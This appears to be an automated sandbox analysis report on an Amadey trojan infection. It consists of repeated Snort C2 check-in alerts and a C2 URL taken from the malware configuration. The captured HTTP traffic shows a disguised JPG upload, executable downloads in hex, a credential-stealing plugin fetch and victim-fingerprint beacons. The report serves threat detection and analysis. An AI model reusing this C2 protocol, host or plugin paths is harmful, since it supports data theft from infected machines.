Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50246 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50247 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50248 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50250 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50251 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50252 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50253 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50255 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50256 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50258 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50259 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50260 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50261 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50263 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50264 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50265 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50266 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50268 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50269 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50271 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50272 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50273 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50274 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50276 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50277 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50278 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50279 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50280 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50281 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50283 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50285 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50287 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50289 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50290 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50292 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50294 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50296 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50297 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50298 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50301 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50302 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50304 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50305 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50307 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50308 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50311 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50312 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50313 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50314 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50316 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50318 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50320 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50321 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50322 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50323 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50326 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50327 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50329 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50330 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50332 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50333 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50335 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50336 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50337 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50339 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50340 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50341 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50342 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50344 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50345 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50347 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50348 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50349 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50350 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50352 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50353 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50354 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50355 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50357 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50358 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50360 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50361 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50362 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50364 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50365 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50366 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50367 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50368 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50370 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50371 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50373 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50374 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50375 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50376 -> 176.111.174.114:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.5:50378 -> 176.111.174.114:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

IPs: http://176.111.174.114/Hnq8vS/index.php

Posts data to a JPG file (protocol mismatch)

Show sources

Source: unknown

HTTP traffic detected: POST //Hnq8vS/index.php?scr=up HTTP/1.1Host: 176.111.174.114User-Agent: UploadorContent-Type: multipart/form-data; boundary=152138533219.jpgConnection: Keep-AliveContent-Length: 185550Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Apr 2021 21:22:22 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16Last-Modified: Fri, 23 Apr 2021 10:22:14 GMTETag: "1f200-5c0a12b672180"Accept-Ranges: bytesContent-Length: 127488Content-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 96 01 00 00 58 00 00 00 00 00 00 84 a4 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 02 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 f0 01 00 40 00 00 00 00 e0 01 00 26 0e 00 00 00 20 02 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 9c 94 01 00 00 10 00 00 00 96 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 b4 13 00 00 00 b0 01 00 00 14 00 00 00 9a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 dd 09 00 00 00 d0 01 00 00 00 00 00 00 ae 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 26 0e 00 00 00 e0 01 00 00 10 00 00 00 ae 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 40 00 00 00 00 f0 01 00 00 02 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 9c 1d 00 00 00 00 02 00 00 1e 00 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 14 00 00 00 20 02 00 00 14 00 00 00 de 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 00 00 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Apr 2021 21:22:33 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16Last-Modified: Fri, 23 Apr 2021 10:22:18 GMTETag: "37800-5c0a12ba42a80"Accept-Ranges: bytesContent-Length: 227328Content-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e a1 0b 01 02 19 00 0a 03 00 00 6a 00 00 00 00 00 00 30 19 03 00 00 10 00 00 00 20 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 d0 03 00 00 04 00 00 00 00 00 00 02 00 01 00 00 00 00 00 00 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 70 03 00 3f 00 00 00 00 50 03 00 d0 12 00 00 00 b0 03 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 03 00 08 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 48 09 03 00 00 10 00 00 00 0a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 60 12 00 00 00 20 03 00 00 14 00 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 a5 0a 00 00 00 40 03 00 00 00 00 00 00 22 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 d0 12 00 00 00 50 03 00 00 14 00 00 00 22 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 3f 00 00 00 00 70 03 00 00 02 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 08 26 00 00 00 80 03 00 00 28 00 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 18 00 00 00 b0 03 00 00 18 00 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 03 00 00 00 00 00 00 78 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Hnq8vS/plugins/cred.dll HTTP/1.1Host: 176.111.174.114
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
